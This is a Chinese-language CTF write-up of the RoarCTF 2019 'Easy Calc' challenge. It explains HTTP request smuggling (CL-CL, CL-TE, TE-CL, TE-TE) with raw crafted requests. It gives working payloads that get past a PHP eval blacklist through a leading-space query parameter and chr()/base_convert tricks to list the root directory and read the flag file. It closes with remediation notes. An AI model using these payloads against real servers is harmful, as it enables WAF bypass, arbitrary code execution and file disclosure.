[RoarCTF 2019]Easy Calc
进入页面就要给我算数 整的挺像个事儿 查看源码发现端倪
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
发现 它说它设置了WAF 在js代码里还看到了calc.php的代码传入 猜测这个页面才是真正的执行页面 访问一下
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
源码泄露 但是看得出来过滤了不少玩意儿 最终把过滤后的结果 eval了
尝试代码执行 结果过滤了字符
题目的突破点
只能传入数字和运算符号,不能传入字符(想办法绕过waf)
百度最终查到两种途径:
http走私php字符串解析特性
http走私绕过WAF
1、为什么会形成走私漏洞
前端服务器(CDN)和后端服务器接收数据不同步,引起对客户端传入的数据理解不一致,从而导致漏洞的产生。
大多数HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法来指定请求的结束位置:Content-Length
标头和Transfer-Encoding
标头。
同时使用两种不同的方法时,Content-Length
无效。当使用多个服务器时,对客户端传入的数据理解不一致时,就会出现有些服务器认为Content-Length
的长度有效,有些以Transfer-Encoding
有效。而一般情况下,反向代理服务器与后端的源站服务器之间,会重用TCP链接。这样超出的长度就会拼接到下一次请求进行请求,从而导致HTTP请求走私漏洞。
2、HTTP请求走私攻击的五种方式
①Content-Length不为0
所有不携带请求体的HTTP请求都有可能受此影响。
这里用GET请求举例。前端代理服务器允许GET请求携带请求体;后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。
构造请求示例:
GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 44\r\n
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n
\r\n是换行 windows的换行是\r\n linux的是\n mac的是\r
攻击流程:
①前端服务器收到该请求,读取Content-Length
,判断这是一个完整的请求。
②然后转发给后端服务器,后端服务器收到后,因为它不对Content-Length
进行处理,由于Pipeline的存在,后端服务器就认为这是收到了两个请求,分别是:
GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 44\r\n
第二个:
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n
所以造成了请求走私。
②Content-Length---Content-Length
有些服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400
错误。
但是中间代理服务器按照第一个Content-Length
的值对请求进行处理,而后端源站服务器按照第二个Content-Length
的值进行处理。
构造请求示例:
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
攻击流程:
①中间代理服务器获取到的数据包的长度为8,将上述整个数据包原封不动的转发给后端的源站服务器。
②而后端服务器获取到的数据包长度为7。当读取完前7个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去。
而此时的缓冲区去还剩余一个字母a,对于后端服务器来说,这个a是下一个请求的一部分,但是还没有传输完毕。
如果此时有一个其他的正常用户对服务器进行了请求:
正常请求:
GET /index.html HTTP/1.1\r\n
Host: test.com\r\n
因为代理服务器与源站服务器之间一般会重用TCP
连接。所以正常用户的请求就拼接到了字母a的后面,当后端服务器接收完毕后,它实际处理的请求其实是:
aGET /index.html HTTP/1.1\r\n
Host: test.com\r\n
这时,用户就会收到一个类似于aGET request method not found
的报错。这样就实现了一次HTTP
走私攻击,而且还对正常用户的行为造成了影响,而且还可以扩展成类似于CSRF
的攻击方式。
但是一般的服务器都不会接受这种存在两个请求头的请求包。
RFC2616规范
这就提到了之前说到的RFC2616规范。
如果收到同时存在Content-Length
和Transfer-Encoding
这两个请求头的请求包时,在处理的时候必须忽略Content-Length
。
所以请求包中同时包含这两个请求头并不算违规,服务器也不需要返回400错误。导致服务器在这里的实现更容易出问题。
③Content-Length---Transfer-Encoding
Content-Length---Transfer-Encoding
就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length
请求头,而后端服务器会遵守RFC2616
的规定,忽略掉Content-Length
,处理Transfer-Encoding
请求头。
构造请求示例:
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a
连续发送几次请求就可以获得响应。
攻击流程:
由于前端服务器处理Content-Length
,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是
0\r\n
\r\n
a
当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding
,当它读取到
0\r\n
\r\n
认为已经读取到结尾了。
但剩下的字母a就被留在了缓冲区中,等待下一次请求。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求:
aPOST / HTTP/1.1\r\n
Host: test.com\r\n
......
服务器在解析时就会产生报错了,从而造成HTTP
请求走私。
④Transfer-Encoding---Content-Length
Transfer-Encoding---Content-Length
就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding
请求头,后端服务器处理Content-Length
请求头。
构造请求示例:
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
攻击流程:
前端服务器处理Transfer-Encoding
,当其读取到
0\r\n
\r\n
认为是读取完毕了。
此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length
请求头,因为请求体的长度为4,也就是当它读取完12\r\n
就认为这个请求已经结束了。后面的数据就认为是另一个请求:
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
成功报错,造成HTTP请求走私。
⑤Transfer-Encoding---Transfer-Encoding
Transfer-Encoding---Transfer-Encoding
当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding
请求头,确实是实现了RFC
的标准。不过前后端服务器不是同一种。这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding
进行某种混淆操作(如某个字符改变大小写),从而使其中一个服务器不处理Transfer-Encoding请求头。在某种意义上这还是CL-TE或者TE-CL。
构造请求示例:
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
攻击流程:
前端服务器处理Transfer-Encoding
,当其读取到
0\r\n
\r\n
认为是读取结束。
此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器处理Transfer-encoding
请求头,将Transfer-Encoding
隐藏在服务端的一个chain
中时,它将会回退到使用Content-Length
去发送请求。读取到5c\r\n
认为是读取完毕了。
后面的数据就认为是另一个请求:
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
成功报错,造成HTTP
请求走私。
题目实战
先对网页抓包获取信息
GET /calc.php?num=1 HTTP/1.1
Host: node3.buuoj.cn:29284
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-ww-form-urlencode
CT-CT
POST /calc.php?num=phpinfo() HTTP/1.1
'''
Content-Type: application/x-ww-form-urlencode
Content-Length: 5
Content-Length: 5
num=1
CT-TE
POST /calc.php?num=phpinfo() HTTP/1.1
'''
Content-Type: application/x-ww-form-urlencode
Content-Length: 5
Transfer-Encoding:chunked
num=1
a
TE-CT
POST /calc.php?num=phpinfo() HTTP/1.1
'''
Content-Type: application/x-ww-form-urlencode
Transfer-Encoding:chunked
Content-Length: 5
num=1
a
TE-TE
POST /calc.php?num=phpinfo() HTTP/1.1
'''
Content-Type: application/x-ww-form-urlencode
Transfer-Encoding:chunked
Transfer-Encoding:chunked
Content-Length: 5
num=1
a
相关函数
scandir()函数: 返回指定目录中的文件和目录的数组。
base_convert()函数: 在任意进制之间转换数字,返回一个字符串
dechex()函数:把十进制转换为十六进制。
hex2bin()函数:把十六进制值的字符串转换为 ASCII 字符。
readfile()函数: 输出一个文件。
该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
getflag
使用scandir()
函数对根目录文件进行列举,scandir()
可以用base_convert()函数
构造,但是利用base_convert()
只能解决a~z
的利用。
因为根目录需要/
符号,且不在a~z
,所以需要hex2bin(dechex(47))
这种构造方式,dechex() 函数
把十进制数转换为十六进制数。hex2bin() 函数
把十六进制值的字符串转换为 ASCII 字符。当然,也可以直接用chr()函数
。
列举目录payload:
var_dump(base_convert(61693386291,10,36)(chr(47)))
发现13对应f1agg,盲猜flag在这里。
查看flag:
var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))
flag出来了
flag{dbbad2cb-d2e0-4152-b23a-41663ca6fead}
PHP字符串解析特性绕过WAF
输入时发现num只能输入数字,输入字符无法解析。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符
2.将某些字符转换为下划线(包括空格)
所以我们可以在num前加个空格绕过waf
变量名就变成了 ' num' 而非 'num' . 但php在解析的时候,会先把空格给去掉,这样代码还能正常运行,还上传了非法字符。
然后再利用scandir()
函数,列出 参数目录
中的文件和目录。
首先,要先扫根目录下的所有文件,也就是scandir("/")
,因为/
被过滤了,所以直接用chr(“47”)
绕过。
calc.php? num=var_dump(base_convert(61693386291,10,36)(chr(47)))
发现flagg文件
读取flag
calc.php? num=var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
漏洞修复
1、将前端服务器配置为只使用HTTP/2与后端系统通信
2、完全禁用后端连接重用来解决此漏洞的所有变体
3、确保连接中的所有服务器运行具有相同配置的相同web服务器软件。
4、彻底拒绝模糊的请求,并删除关联的连接。
5、在Burp Suite中,你可以使用Repeater菜单禁用此行为,确保你选择的工具具有相同的功能。
6、通过Squid之类的代理来测试他们的测试人员的流量以进行监控。破坏测试人员发起的任何走私攻击请求,确保对此漏洞做到全面杜绝。
兄弟写的非常好 https://www.cscnn.com/